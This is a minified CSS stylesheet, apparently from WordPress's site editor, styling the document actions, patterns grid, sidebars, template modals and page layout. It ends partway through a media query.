.edit-site-document-actions__title{ padding-left:32px; } } .edit-site-document-actions__title:hover{ color:var(--wp-block-synced-color); } .edit-site-document-actions__title .block-editor-block-icon{ flex-shrink:0; min-width:24px; } .edit-site-document-actions__title h1{ max-width:50%; overflow:hidden; text-overflow:ellipsis; white-space:nowrap; } .edit-site-document-actions.is-page .edit-site-document-actions__title,.edit-site-document-actions.is-page .edit-site-document-actions__title h1{ color:#2f2f2f; } .edit-site-document-actions.is-animated .edit-site-document-actions__title{ animation:edit-site-document-actions__slide-in-left .3s; } @media (prefers-reduced-motion:reduce){ .edit-site-document-actions.is-animated .edit-site-document-actions__title{ animation-delay:0s; animation-duration:1ms; } } .edit-site-document-actions.is-animated.is-page .edit-site-document-actions__title{ animation:edit-site-document-actions__slide-in-right .3s; } @media (prefers-reduced-motion:reduce){ .edit-site-document-actions.is-animated.is-page .edit-site-document-actions__title{ animation-delay:0s; animation-duration:1ms; } } .edit-site-document-actions__shortcut{ color:#2f2f2f; display:none; min-width:32px; } @media (min-width:600px){ .edit-site-document-actions__shortcut{ display:initial; } } .edit-site-document-actions__back.components-button.has-icon.has-text{ color:#757575; flex-shrink:0; gap:0; min-width:36px; position:absolute; z-index:1; } .edit-site-document-actions__back.components-button.has-icon.has-text:hover{ background-color:transparent; color:currentColor; } .edit-site-document-actions.is-animated .edit-site-document-actions__back.components-button.has-icon.has-text{ animation:edit-site-document-actions__slide-in-left .3s; } @media (prefers-reduced-motion:reduce){ .edit-site-document-actions.is-animated .edit-site-document-actions__back.components-button.has-icon.has-text{ animation-delay:0s; animation-duration:1ms; } } @keyframes edit-site-document-actions__slide-in-right{ 0%{ opacity:0; transform:translateX(-15%); } to{ opacity:1; transform:translateX(0); } } @keyframes edit-site-document-actions__slide-in-left{ 0%{ opacity:0; transform:translateX(15%); } to{ opacity:1; transform:translateX(0); } } .edit-site-list-header{ align-items:center; box-sizing:border-box; display:flex; height:60px; justify-content:flex-end; padding-right:16px; position:relative; width:100%; } body.is-fullscreen-mode .edit-site-list-header{ padding-left:60px; transition:padding-left 20ms linear; transition-delay:80ms; } @media (prefers-reduced-motion:reduce){ body.is-fullscreen-mode .edit-site-list-header{ transition-delay:0s; transition-duration:0s; } } .edit-site-list-header .edit-site-list-header__title{ font-size:20px; left:0; margin:0; padding:0; position:absolute; text-align:center; width:100%; } .edit-site-list-header__right{ position:relative; } .edit-site .edit-site-list{ background:#fff; border-radius:8px; box-shadow:0 20px 25px -5px rgba(0,0,0,.8),0 8px 10px -6px rgba(0,0,0,.8); flex-grow:1; } .edit-site .edit-site-list .interface-interface-skeleton__editor{ min-width:100%; } @media (min-width:782px){ .edit-site .edit-site-list .interface-interface-skeleton__editor{ min-width:0; } } .edit-site .edit-site-list .interface-interface-skeleton__content{ align-items:center; background:#fff; padding:16px; } @media (min-width:782px){ .edit-site .edit-site-list .interface-interface-skeleton__content{ padding:72px; } } .edit-site-list-table{ border:1px solid #ddd; border-radius:2px; border-spacing:0; margin:0 auto; max-width:960px; min-width:100%; overflow:hidden; } .edit-site-list-table tr{ align-items:center; border-top:1px solid #f0f0f0; box-sizing:border-box; display:flex; margin:0; padding:16px; } .edit-site-list-table tr:first-child{ border-top:0; } @media (min-width:782px){ .edit-site-list-table tr{ padding:24px 32px; } } .edit-site-list-table tr .edit-site-list-table-column:first-child{ padding-right:24px; width:calc(60% - 18px); } .edit-site-list-table tr .edit-site-list-table-column:first-child a{ display:inline-block; font-weight:500; margin-bottom:4px; text-decoration:none; } .edit-site-list-table tr .edit-site-list-table-column:nth-child(2){ width:calc(40% - 18px); word-break:break-word; } .edit-site-list-table tr .edit-site-list-table-column:nth-child(3){ flex-shrink:0; min-width:36px; } .edit-site-list-table tr.edit-site-list-table-head{ border-bottom:1px solid #ddd; border-top:none; color:#1e1e1e; font-size:16px; font-weight:600; text-align:left; } .edit-site-list-table tr.edit-site-list-table-head th{ font-weight:inherit; } @media (min-width:782px){ .edit-site-list.is-navigation-open .components-snackbar-list{ margin-left:360px; } } .edit-site-list__rename-modal{ z-index:1000001; } @media (min-width:782px){ .edit-site-list__rename-modal .components-base-control{ width:320px; } } .edit-site-template__actions button:not(:last-child){ margin-right:8px; } .edit-site-list-added-by__icon{ align-items:center; background:#2f2f2f; border-radius:100%; display:flex; flex-shrink:0; height:32px; justify-content:center; width:32px; } .edit-site-list-added-by__icon svg{ fill:#fff; } .edit-site-list-added-by__avatar{ background:#2f2f2f; border-radius:100%; flex-shrink:0; height:32px; overflow:hidden; width:32px; } .edit-site-list-added-by__avatar img{ height:32px; object-fit:cover; opacity:0; transition:opacity .1s linear; width:32px; } @media (prefers-reduced-motion:reduce){ .edit-site-list-added-by__avatar img{ transition-delay:0s; transition-duration:0s; } } .edit-site-list-added-by__avatar.is-loaded img{ opacity:1; } .edit-site-list-added-by__customized-info{ color:#757575; display:block; } .edit-site-page{ background:#fff; color:#2f2f2f; flex-grow:1; margin:60px 0 0; overflow:hidden; } @media (min-width:782px){ .edit-site-page{ border-radius:8px; margin:24px 24px 24px 0; } } .edit-site-page-header{ background:#fff; border-bottom:1px solid #f0f0f0; min-height:60px; padding:0 32px; position:sticky; top:0; z-index:2; } .edit-site-page-header .components-text{ color:#2f2f2f; } .edit-site-page-header .components-heading{ color:#1e1e1e; } .edit-site-page-header .edit-site-page-header__sub-title{ color:#757575; margin-top:8px; } .edit-site-page-content{ display:flex; flex-flow:column; height:100%; overflow:auto; position:relative; z-index:1; } .edit-site-patterns{ background:none; border-left:1px solid #2f2f2f; border-radius:0; margin:60px 0 0; overflow-x:auto; padding:0; } .edit-site-patterns .components-base-control{ width:100%; } @media (min-width:782px){ .edit-site-patterns .components-base-control{ width:auto; } } .edit-site-patterns .components-text{ color:#949494; } .edit-site-patterns .components-heading{ color:#e0e0e0; } @media (min-width:782px){ .edit-site-patterns{ margin:0; } } .edit-site-patterns .edit-site-patterns__search-block{ flex-grow:1; min-width:-moz-fit-content; min-width:fit-content; } .edit-site-patterns .edit-site-patterns__search input[type=search]{ background:#2f2f2f; color:#e0e0e0; height:40px; } .edit-site-patterns .edit-site-patterns__search input[type=search]:focus{ background:#2f2f2f; } .edit-site-patterns .edit-site-patterns__search svg{ fill:#949494; } .edit-site-patterns .edit-site-patterns__sync-status-filter{ background:#2f2f2f; border:none; height:40px; max-width:100%; min-width:max-content; width:100%; } @media (min-width:782px){ .edit-site-patterns .edit-site-patterns__sync-status-filter{ width:300px; } } .edit-site-patterns .edit-site-patterns__sync-status-filter-option:not([aria-checked=true]){ color:#949494; } .edit-site-patterns .edit-site-patterns__sync-status-filter-option:active{ background:#757575; color:#f0f0f0; } .edit-site-patterns .edit-site-patterns__grid-pagination{ background:#1e1e1e; border-top:1px solid #2f2f2f; bottom:0; padding:24px 32px; position:sticky; z-index:2; } .edit-site-patterns .edit-site-patterns__grid-pagination .components-button.is-tertiary{ background-color:#2f2f2f; color:#f0f0f0; height:32px; justify-content:center; width:32px; } .edit-site-patterns .edit-site-patterns__grid-pagination .components-button.is-tertiary:disabled{ background:none; color:#949494; } .edit-site-patterns .edit-site-patterns__grid-pagination .components-button.is-tertiary:hover:not(:disabled){ background-color:#757575; } .edit-site-patterns__header{ background:#1e1e1e; padding:32px 32px 16px; position:sticky; top:0; z-index:2; } .edit-site-patterns__section{ flex:1; padding:24px 32px; } .edit-site-patterns__section-header .screen-reader-shortcut:focus{ top:0; } .edit-site-patterns__grid{ display:grid; gap:32px; grid-template-columns:1fr; margin-bottom:0; margin-top:0; } @media (min-width:960px){ .edit-site-patterns__grid{ grid-template-columns:1fr 1fr; } } @media (min-width:1440px){ .edit-site-patterns__grid{ grid-template-columns:1fr 1fr 1fr; } } @media (min-width:1920px){ .edit-site-patterns__grid{ grid-template-columns:1fr 1fr 1fr 1fr; } } .edit-site-patterns__grid .edit-site-patterns__pattern{ break-inside:avoid-column; display:flex; flex-direction:column; } .edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__preview{ background-color:unset; border:none; border-radius:4px; box-shadow:none; box-sizing:border-box; cursor:pointer; overflow:hidden; padding:0; } .edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__preview:focus{ box-shadow:inset 0 0 0 0 #fff, 0 0 0 2px var(--wp-admin-theme-color); outline:2px solid transparent; } .edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__preview.is-inactive{ cursor:default; } .edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__preview.is-inactive:focus{ box-shadow:0 0 0 var(--wp-admin-border-width-focus) #2f2f2f; opacity:.8; } .edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__button,.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__footer{ color:#949494; } .edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__dropdown{ flex-shrink:0; } .edit-site-patterns__grid .edit-site-patterns__pattern.is-placeholder .edit-site-patterns__preview{ align-items:center; border:1px dashed #2f2f2f; color:#949494; display:flex; justify-content:center; min-height:64px; } .edit-site-patterns__grid .edit-site-patterns__pattern.is-placeholder .edit-site-patterns__preview:focus{ box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } .edit-site-patterns__grid .edit-site-patterns__preview{ flex:0 1 auto; margin-bottom:12px; } .edit-site-patterns__load-more{ align-self:center; } .edit-site-patterns__pattern-title{ color:#e0e0e0; } .edit-site-patterns__pattern-title .is-link{ color:#e0e0e0; text-decoration:none; } .edit-site-patterns__pattern-title .is-link:focus,.edit-site-patterns__pattern-title .is-link:hover{ color:#fff; } .edit-site-patterns__pattern-title .edit-site-patterns__pattern-icon{ fill:#fff; background:var(--wp-block-synced-color); border-radius:4px; } .edit-site-patterns__pattern-title .edit-site-patterns__pattern-lock-icon{ fill:currentcolor; } .edit-site-patterns__no-results{ color:#949494; } .edit-site-table-wrapper{ padding:32px; width:100%; } .edit-site-table{ border-collapse:collapse; border-color:inherit; position:relative; text-indent:0; width:100%; } .edit-site-table a{ text-decoration:none; } .edit-site-table th{ color:#757575; font-weight:400; padding:0 16px 16px; text-align:left; } .edit-site-table td{ padding:16px; } .edit-site-table td,.edit-site-table th{ vertical-align:center; } .edit-site-table td:first-child,.edit-site-table th:first-child{ padding-left:0; } .edit-site-table td:last-child,.edit-site-table th:last-child{ padding-right:0; text-align:right; } .edit-site-table tr{ border-bottom:1px solid #f0f0f0; } .edit-site-sidebar-edit-mode{ width:280px; } .edit-site-sidebar-edit-mode>.components-panel{ border-left:0; border-right:0; margin-bottom:-1px; margin-top:-1px; } .edit-site-sidebar-edit-mode>.components-panel>.components-panel__header{ background:#f0f0f0; } .edit-site-sidebar-edit-mode .block-editor-block-inspector__card{ margin:0; } .edit-site-global-styles-sidebar{ display:flex; flex-direction:column; min-height:100%; } .edit-site-global-styles-sidebar__navigator-provider,.edit-site-global-styles-sidebar__panel{ display:flex; flex:1; flex-direction:column; } .edit-site-global-styles-sidebar__navigator-screen{ flex:1; } .edit-site-global-styles-sidebar .interface-complementary-area-header .components-button.has-icon{ margin-left:0; } .edit-site-global-styles-sidebar__reset-button.components-button{ margin-left:auto; } .edit-site-global-styles-sidebar .components-navigation__menu-title-heading{ font-size:15.6px; font-weight:500; } .edit-site-global-styles-sidebar .components-navigation__item>button span{ font-weight:500; } .edit-site-global-styles-sidebar .block-editor-panel-color-gradient-settings,.edit-site-typography-panel{ border:0; } .edit-site-global-styles-sidebar .single-column{ grid-column:span 1; } .edit-site-global-styles-sidebar .components-tools-panel .span-columns{ grid-column:1 / -1; } .edit-site-global-styles-sidebar__blocks-group{ border-top:1px solid #e0e0e0; padding-top:24px; } .edit-site-global-styles-sidebar__blocks-group-help{ padding:0 16px; } .edit-site-global-styles-color-palette-panel,.edit-site-global-styles-gradient-palette-panel{ padding:16px; } .edit-site-global-styles-sidebar hr{ margin:0; } .show-icon-labels .edit-site-global-styles-sidebar__header .components-button.has-icon svg{ display:none; } .show-icon-labels .edit-site-global-styles-sidebar__header .components-button.has-icon:after{ content:attr(aria-label); font-size:12px; } .edit-site-sidebar-fixed-bottom-slot{ background:#fff; border-top:1px solid #ddd; bottom:0; box-sizing:content-box; display:flex; padding:16px; position:sticky; } .edit-site-swap-template-modal{ z-index:1000001; } .edit-site-page-panels__swap-template__confirm-modal__actions{ margin-top:24px; } .edit-site-page-panels__swap-template__modal-content .block-editor-block-patterns-list{ column-count:2; column-gap:24px; padding-top:2px; } @media (min-width:782px){ .edit-site-page-panels__swap-template__modal-content .block-editor-block-patterns-list{ column-count:3; } } @media (min-width:1280px){ .edit-site-page-panels__swap-template__modal-content .block-editor-block-patterns-list{ column-count:4; } } .edit-site-page-panels__swap-template__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{ break-inside:avoid-column; } .edit-site-page-panels__swap-template__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__item:not(:focus):not(:hover) .block-editor-block-preview__container{ box-shadow:0 0 0 1px #ddd; } .edit-site-change-status__content .components-popover__content{ min-width:320px; padding:16px; } .edit-site-change-status__content .edit-site-change-status__options .components-base-control__field>.components-v-stack{ gap:8px; } .edit-site-change-status__content .edit-site-change-status__options label .components-text{ display:block; margin-left:26px; } .edit-site-change-status__content .edit-site-change-status__password-legend{ margin-bottom:8px; padding:0; } .edit-site-summary-field .components-dropdown{ width:70%; } .edit-site-summary-field .edit-site-summary-field__trigger{ display:block; max-width:100%; overflow:hidden; text-align:left; text-overflow:ellipsis; white-space:nowrap; } .edit-site-summary-field .edit-site-summary-field__label{ width:30%; } .edit-site-page-panels-edit-template__dropdown .components-popover__content{ min-width:240px; } .components-panel__header.edit-site-sidebar-edit-mode__panel-tabs{ border-top:0; justify-content:flex-start; margin-top:0; padding-left:0; padding-right:16px; } .components-panel__header.edit-site-sidebar-edit-mode__panel-tabs ul{ display:flex; } .components-panel__header.edit-site-sidebar-edit-mode__panel-tabs li{ margin:0; } .components-panel__header.edit-site-sidebar-edit-mode__panel-tabs .components-button.has-icon{ display:none; height:24px; margin:0 0 0 auto; min-width:24px; padding:0; } @media (min-width:782px){ .components-panel__header.edit-site-sidebar-edit-mode__panel-tabs .components-button.has-icon{ display:flex; } } .components-button.edit-site-sidebar-edit-mode__panel-tab{ background:transparent; border:none; border-radius:0; box-shadow:none; cursor:pointer; font-weight:500; height:48px; margin-left:0; padding:3px 16px; position:relative; } .components-button.edit-site-sidebar-edit-mode__panel-tab:focus:not(:disabled){ box-shadow:none; outline:none; position:relative; } .components-button.edit-site-sidebar-edit-mode__panel-tab:after{ background:var(--wp-admin-theme-color); border-radius:0; bottom:0; content:""; height:calc(var(--wp-admin-border-width-focus)*0); left:0; pointer-events:none; position:absolute; right:0; transition:all .1s linear; } @media (prefers-reduced-motion:reduce){ .components-button.edit-site-sidebar-edit-mode__panel-tab:after{ transition-delay:0s; transition-duration:0s; } } .components-button.edit-site-sidebar-edit-mode__panel-tab.is-active:after{ height:calc(var(--wp-admin-border-width-focus)*1); outline:2px solid transparent; outline-offset:-1px; } .components-button.edit-site-sidebar-edit-mode__panel-tab:before{ border-radius:2px; bottom:12px; box-shadow:0 0 0 0 transparent; content:""; left:12px; pointer-events:none; position:absolute; right:12px; top:12px; transition:all .1s linear; } @media (prefers-reduced-motion:reduce){ .components-button.edit-site-sidebar-edit-mode__panel-tab:before{ transition-delay:0s; transition-duration:0s; } } .components-button.edit-site-sidebar-edit-mode__panel-tab:focus-visible:before{ box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline:2px solid transparent; } .edit-site-sidebar-card{ align-items:flex-start; display:flex; } .edit-site-sidebar-card__content{ flex-grow:1; margin-bottom:4px; } .edit-site-sidebar-card__title{ font-weight:500; line-height:24px; } .edit-site-sidebar-card__title.edit-site-sidebar-card__title{ margin:0; } .edit-site-sidebar-card__description{ font-size:13px; } .edit-site-sidebar-card__icon{ flex:0 0 24px; height:24px; margin-right:12px; width:24px; } .edit-site-sidebar-card__header{ display:flex; justify-content:space-between; margin:0 0 4px; } .edit-site-template-card__template-areas{ margin-top:16px; } .edit-site-template-card__template-areas-list,.edit-site-template-card__template-areas-list>li{ margin:0; } .edit-site-template-card__template-areas-item{ width:100%; } .edit-site-template-card__template-areas-item.components-button.has-icon{ padding:0; } .edit-site-template-card__actions{ line-height:0; } .edit-site-template-card__actions>.components-button.is-small.has-icon{ min-width:auto; padding:0; } .edit-site-template-revisions{ margin-left:-4px; } h3.edit-site-template-card__template-areas-title{ font-weight:500; margin:0 0 8px; } .edit-site-template-panel__replace-template-modal{ z-index:1000001; } .edit-site-template-panel__replace-template-modal__content{ column-count:2; column-gap:24px; } @media (min-width:782px){ .edit-site-template-panel__replace-template-modal__content{ column-count:3; } } @media (min-width:1280px){ .edit-site-template-panel__replace-template-modal__content{ column-count:4; } } .edit-site-editor__interface-skeleton{ opacity:1; transition:opacity .1s ease-out; } @media (prefers-reduced-motion:reduce){ .edit-site-editor__interface-skeleton{ transition-delay:0s; transition-duration:0s; } } .edit-site-editor__interface-skeleton.is-loading{ opacity:0; } .edit-site-editor__interface-skeleton .interface-interface-skeleton__header{ border:0; } .edit-site-editor__toggle-save-panel{ background-color:#fff; border:1px dotted #ddd; box-sizing:border-box; display:flex; justify-content:center; padding:24px; width:280px; } .edit-site .components-editor-notices__snackbar{ bottom:40px; left:0; padding-left:16px; padding-right:16px; position:absolute; right:0; } @media (min-width:783px){ .edit-site .components-editor-notices__snackbar{ left:160px; } } @media (min-width:783px){ .auto-fold .edit-site .components-editor-notices__snackbar{ left:36px; } } @media (min-width:961px){ .auto-fold .edit-site .components-editor-notices__snackbar{ left:160px; } } .folded .edit-site .components-editor-notices__snackbar{ left:0; } @media (min-width:783px){ .folded .edit-site .components-editor-notices__snackbar{ left:36px; } } body.is-fullscreen-mode .edit-site .components-editor-notices__snackbar{ left:0 !important; } .edit-site-create-template-part-modal{ z-index:1000001; } @media (min-width:600px){ .edit-site-create-template-part-modal .components-modal__frame{ max-width:500px; } } .edit-site-create-template-part-modal__area-radio-group{ border:1px solid #757575; border-radius:2px; width:100%; } .edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio{ display:block; height:100%; padding:12px; text-align:left; width:100%; } .edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-primary:hover,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-secondary:hover{ background-color:inherit; border-bottom:1px solid #757575; border-radius:0; margin:0; } .edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-primary:hover:not(:focus),.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-secondary:hover:not(:focus),.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio:not(:focus){ box-shadow:none; } .edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-primary:hover:focus,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-secondary:hover:focus,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio:focus{ border-bottom:1px solid #fff; } .edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-primary:hover:last-of-type,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-secondary:hover:last-of-type,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio:last-of-type{ border-bottom:none; } .edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio:not(:hover),.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio[aria-checked=true]{ color:#1e1e1e; cursor:auto; } .edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio:not(:hover) .edit-site-create-template-part-modal__option-label div,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio[aria-checked=true] .edit-site-create-template-part-modal__option-label div{ color:#949494; } .edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio .edit-site-create-template-part-modal__option-label{ padding-top:4px; white-space:normal; } .edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio .edit-site-create-template-part-modal__option-label div{ font-size:12px; padding-top:4px; } .edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio .edit-site-create-template-part-modal__checkbox{ margin-left:auto; min-width:24px; } .edit-site-editor__inserter-panel,.edit-site-editor__list-view-panel{ display:flex; flex-direction:column; height:100%; } @media (min-width:782px){ .edit-site-editor__list-view-panel{ width:350px; } } .edit-site-editor__inserter-panel-header{ display:flex; justify-content:flex-end; padding-right:8px; padding-top:8px; } .edit-site-editor__inserter-panel-content,.edit-site-editor__list-view-panel-content{ height:calc(100% - 44px); } @media (min-width:782px){ .edit-site-editor__inserter-panel-content{ height:100%; } } .edit-site-editor__list-view-panel-header{ align-items:center; border-bottom:1px solid #ddd; display:flex; height:48px; justify-content:space-between; padding-left:16px; padding-right:4px; } .edit-site-editor__list-view-panel-content{ height:100%; overflow:auto; padding:8px 6px; scrollbar-color:transparent transparent; scrollbar-gutter:stable both-edges; scrollbar-gutter:auto; scrollbar-width:thin; will-change:transform; } .edit-site-editor__list-view-panel-content::-webkit-scrollbar{ height:12px; width:12px; } .edit-site-editor__list-view-panel-content::-webkit-scrollbar-track{ background-color:transparent; } .edit-site-editor__list-view-panel-content::-webkit-scrollbar-thumb{ background-clip:padding-box; background-color:transparent; border:3px solid transparent; border-radius:8px; } .edit-site-editor__list-view-panel-content:focus-within::-webkit-scrollbar-thumb,.edit-site-editor__list-view-panel-content:focus::-webkit-scrollbar-thumb,.edit-site-editor__list-view-panel-content:hover::-webkit-scrollbar-thumb{ background-color:#949494; } .edit-site-editor__list-view-panel-content:focus,.edit-site-editor__list-view-panel-content:focus-within,.edit-site-editor__list-view-panel-content:hover{ scrollbar-color:#949494 transparent; } @media (hover:none){ .edit-site-editor__list-view-panel-content{ scrollbar-color:#949494 transparent; } } .edit-site-welcome-guide{ width:312px; } .edit-site-welcome-guide.guide-editor .edit-site-welcome-guide__image .edit-site-welcome-guide.guide-styles .edit-site-welcome-guide__image{ background:#00a0d2; } .edit-site-welcome-guide.guide-page .edit-site-welcome-guide__video{ border-right:16px solid #3858e9; border-top:16px solid #3858e9; } .edit-site-welcome-guide.guide-template .edit-site-welcome-guide__video{ border-left:16px solid #3858e9; border-top:16px solid #3858e9; } .edit-site-welcome-guide__image{ margin:0 0 16px; } .edit-site-welcome-guide__image>img{ display:block; max-width:100%; object-fit:cover; } .edit-site-welcome-guide__heading{ font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:24px; line-height:1.4; margin:16px 0; padding:0 32px; } .edit-site-welcome-guide__text{ font-size:13px; line-height:1.4; margin:0 0 16px; padding:0 32px; } .edit-site-welcome-guide__text img{ vertical-align:bottom; } .edit-site-welcome-guide__inserter-icon{ margin:0 4px; vertical-align:text-top; } .edit-site-start-template-options__modal .edit-site-start-template-options__modal__actions{ background-color:#fff; border-top:1px solid #ddd; bottom:0; height:92px; margin-left:-32px; margin-right:-32px; padding-left:32px; padding-right:32px; position:absolute; width:100%; z-index:1; } .edit-site-start-template-options__modal .block-editor-block-patterns-list{ padding-bottom:92px; } .edit-site-start-template-options__modal-content .block-editor-block-patterns-list{ column-count:2; column-gap:24px; } @media (min-width:782px){ .edit-site-start-template-options__modal-content .block-editor-block-patterns-list{ column-count:3; } } @media (min-width:1280px){ .edit-site-start-template-options__modal-content .block-editor-block-patterns-list{ column-count:4; } } .edit-site-start-template-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{ break-inside:avoid-column; } .edit-site-start-template-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-patterns-list__item-title{ display:none; } .edit-site-start-template-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__item:not(:focus):not(:hover) .block-editor-block-preview__container{ box-shadow:0 0 0 1px #ddd; } .edit-site-keyboard-shortcut-help-modal__section{ margin:0 0 2rem; } .edit-site-keyboard-shortcut-help-modal__section-title{ font-size:.9rem; font-weight:600; } .edit-site-keyboard-shortcut-help-modal__shortcut{ align-items:baseline; border-top:1px solid #ddd; display:flex; margin-bottom:0; padding:.6rem 0; } .edit-site-keyboard-shortcut-help-modal__shortcut:last-child{ border-bottom:1px solid #ddd; } .edit-site-keyboard-shortcut-help-modal__shortcut:empty{ display:none; } .edit-site-keyboard-shortcut-help-modal__shortcut-term{ font-weight:600; margin:0 0 0 1rem; text-align:right; } .edit-site-keyboard-shortcut-help-modal__shortcut-description{ flex:1; flex-basis:auto; margin:0; } .edit-site-keyboard-shortcut-help-modal__shortcut-key-combination{ background:none; display:block; margin:0; padding:0; } .edit-site-keyboard-shortcut-help-modal__shortcut-key-combination+.edit-site-keyboard-shortcut-help-modal__shortcut-key-combination{ margin-top:10px; } .edit-site-keyboard-shortcut-help-modal__shortcut-key{ border-radius:8%; margin:0 .2rem; padding:.25rem .5rem; } .edit-site-keyboard-shortcut-help-modal__shortcut-key:last-child{ margin:0 0 0 .2rem; } .edit-site-layout{ background:#1e1e1e; color:#ccc; display:flex; flex-direction:column; height:100%; } .edit-site-layout__hub{ height:60px; left:0; position:fixed; top:0; width:calc(100vw - 48px); z-index:3; } .edit-site-layout.is-full-canvas.is-edit-mode .edit-site-layout__hub{ padding-right:0; width:60px; } @media (min-width:782px){ .edit-site-layout__hub{ width:336px; } } .edit-site-layout.is-full-canvas .edit-site-layout__hub{ border-radius:0; box-shadow:none; padding-right:16px; width:100vw; } @media (min-width:782px){ .edit-site-layout.is-full-canvas .edit-site-layout__hub{ padding-right:0; width:auto; } } .edit-site-layout__header-container{ z-index:4; } .edit-site-layout__header{ display:flex; height:60px; z-index:2; } .edit-site-layout:not(.is-full-canvas) .edit-site-layout__header{ position:fixed; width:100vw; } .edit-site-layout__content{ display:flex; flex-grow:1; height:100%; } .edit-site-layout__sidebar-region{ flex-shrink:0; width:100vw; z-index:1; } @media (min-width:782px){ .edit-site-layout__sidebar-region{ width:360px; } } .edit-site-layout.is-full-canvas .edit-site-layout__sidebar-region{ height:100vh; left:0; position:fixed !important; top:0; } .edit-site-layout__sidebar-region .edit-site-layout__sidebar{ display:flex; flex-direction:column; height:100%; } .edit-site-layout__sidebar-region .resizable-editor__drag-handle{ right:0; } .edit-site-layout__main{ display:flex; flex-direction:column; flex-grow:1; overflow:hidden; } .edit-site-layout__canvas-container{ flex-grow:1; position:relative; z-index:2; } .edit-site-layout__canvas-container.is-resizing:after{ bottom:0; content:""; left:0; position:absolute; right:0; top:0; z-index:100; } .edit-site-layout__canvas{ align-items:center; bottom:0; display:flex; justify-content:center; left:0; position:absolute; top:0; width:100%; } .edit-site-layout__canvas.is-right-aligned{ justify-content:flex-end; } .edit-site-layout__canvas>div{ color:#1e1e1e; } @media (min-width:782px){ .edit-site-layout__canvas{ bottom:24px; top:24px; width:calc(100% - 24px); } .edit-site-layout:not(.is-full-canvas) .edit-site-layout__canvas>div .edit-site-visual-editor__editor-canvas,.edit-site-layout:not(.is-full-canvas) .edit-site-layout__canvas>div .interface-interface-skeleton__content,.edit-site-layout__canvas>div{ border-radius:8px; } } .edit-site-layout.is-full-canvas .edit-site-layout__canvas{ bottom:0; top:0; width:100%; } .edit-site-layout.is-full-canvas .edit-site-layout__canvas>div{ border-radius:0; } .edit-site-layout__canvas .interface-interface-skeleton{ min-height:100% !important; position:relative !important; } .edit-site-layout__view-mode-toggle.components-button{ align-items:center; border-bottom:1px solid transparent; border-radius:0; color:#fff; display:flex; height:60px; justify-content:center; overflow:hidden; padding:0; position:relative; width:60px; } .edit-site-layout.is-full-canvas.is-edit-mode .edit-site-layout__view-mode-toggle.components-button{ border-bottom-color:#e0e0e0; transition:border-bottom-color .15s ease-out .4s; } .edit-site-layout__view-mode-toggle.components-button:active,.edit-site-layout__view-mode-toggle.components-button:hover{ color:#fff; } .edit-site-layout__view-mode-toggle.components-button:focus{ box-shadow:none; } .edit-site-layout__view-mode-toggle.components-button:before{ border-radius:4px; bottom:9px; box-shadow:none; content:""; display:block; left:9px; position:absolute; right:9px; top:9px; transition:box-shadow .1s ease; } @media (prefers-reduced-motion:reduce){ .edit-site-layout__view-mode-toggle.components-button:before{ transition-delay:0s; transition-duration:0s; } } .edit-site-layout__view-mode-toggle.components-button:focus:before{ box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) hsla(0,0%,100%,.1), inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } .edit-site-layout__view-mode-toggle.components-button .edit-site-layout__view-mode-toggle-icon{ align-items:center; border-radius:2px; display:flex; height:64px; justify-content:center; width:64px; } .edit-site-layout__actions{ background:#fff; bottom:auto; color:#1e1e1e; left:auto; position:fixed !important; right:0; top:-9999em; width:280px; z-index:100000; } .edit-site-layout__actions:focus,.edit-site-layout__actions:focus-within{ bottom:0; top:auto; } .edit-site-layout__actions.is-entity-save-view-open:focus,.edit-site-layout__actions.is-entity-save-view-open:focus-within{ top:0; } @media (min-width:782px){ .edit-site-layout__actions{ border-left:1px solid #ddd; } .edit-site-layout.has-fixed-toolbar .edit-site-layout__canvas-container{ z-index:5; } .edit-site-layout.has-fixed-toolbar .edit-site-site-hub{ z-index:4; } } @media (min-width:782px){ 